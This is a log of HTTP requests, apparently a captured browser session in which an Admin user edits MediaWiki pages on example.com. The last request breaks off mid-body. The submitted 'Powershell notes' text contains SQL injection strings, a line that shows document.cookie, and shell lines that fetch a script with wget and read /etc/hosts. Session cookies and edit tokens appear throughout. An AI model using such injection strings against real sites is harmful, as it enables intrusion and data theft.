{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 294", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Python3_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=5%401794254455%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Python3_notes&section=1&sectiontitle=&summary=%2F*+Install+*%2F+python3&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=6&stashedtexthash=d0421394053f14ddb1f57a01b31f24db41037dbe&token=3d2253a69b15a92037b2054ed89260316af22677%2B%5C"}
{"method": "POST", "target": "/index.php?title=Python3_notes&action=submit&section=1", "headers": ["Host: example.com", "Content-Length: 2117", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypB0FpyADbvwzBWrz", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Python3_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=5%401794254455%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n1\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200055\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200055\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n6\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n0\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\n48a19bb4c5ae768038e8343fe587d531\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n6\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n== Install ==\r\nRun python3 and ls -la.\r\n\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\n/* Install */ python3\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"wpSave\"\r\n\r\nSave changes\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n3d2253a69b15a92037b2054ed89260316af22677+\\\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ntext\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz--\r\n"}
{"method": "GET", "target": "/index.php?title=Python3_notes&diff=cur&oldid=prev", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Python3_notes&action=info", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:WhatLinksHere&target=Python3+notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:AllPages&from=python3", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:PrefixIndex&prefix=python3&namespace=0", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:Log&user=Admin&page=Python3+notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:ListFiles&ilsearch=python3", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:FileDuplicateSearch&filename=Pic+python3.png", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.special%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:FileDuplicateSearch&filename=Pic+python3.png", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:LinkSearch&target=example.com%2Fpython3", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:ListUsers&username=python3", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.pager.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:ListUsers&username=python3", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/title?q=py&limit=10", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "accept: application/json", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/title?q=python3&limit=10", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "accept: application/json", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Powershell_notes&action=edit", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 1674", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Powershell_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Powershell_notes&section=&sectiontitle=&summary=&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A'''Example'''+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23!%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById(%22x%22).innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert(document.cookie)%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E(.*)%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A!+Command+!!+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&token=43ccd11d95d1eb813bd7b837a5b1bdda6af2267a%2B%5C"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 325", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Powershell_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Powershell_notes&section=&sectiontitle=&summary=Notes+on+powershell%2C+python3%2C+ls+-la+and+.htaccess&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&stashedtexthash=7b0caca38f13720bae380f2dd35a43a0fa43c9b7&token=43ccd11d95d1eb813bd7b837a5b1bdda6af2267a%2B%5C"}
{"method": "POST", "target": "/index.php?title=Powershell_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3221", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarym3pr54KEguOYT8hc", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Powershell_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200058\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200058\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on powershell, python3, ls -la and .htaccess\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpPreview\"\r\n\r\nShow preview\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n43ccd11d95d1eb813bd7b837a5b1bdda6af2267a+\\\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ntext\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundarym3pr54KEguOYT8hc--\r\n"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 1728", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Powershell_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Powershell_notes&section=&sectiontitle=&summary=Notes+on+powershell%2C+python3%2C+ls+-la+and+.htaccess&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A'''Example'''+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23!%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById(%22x%22).innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert(document.cookie)%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E(.*)%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A!+Command+!!+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&token=43ccd11d95d1eb813bd7b837a5b1bdda6af2267a%2B%5C"}
{"method": "POST", "target": "/index.php?title=Powershell_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3329", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqXuC7xQ5YbyOLcNk", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Powershell_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; 